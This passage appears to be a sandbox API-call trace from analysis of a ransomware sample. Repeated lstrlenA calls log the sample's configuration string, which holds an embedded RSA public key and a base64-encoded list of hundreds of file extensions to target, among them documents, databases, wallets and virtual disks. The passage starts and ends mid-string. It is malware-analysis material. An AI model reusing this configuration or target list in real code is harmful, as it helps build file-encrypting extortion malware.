1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC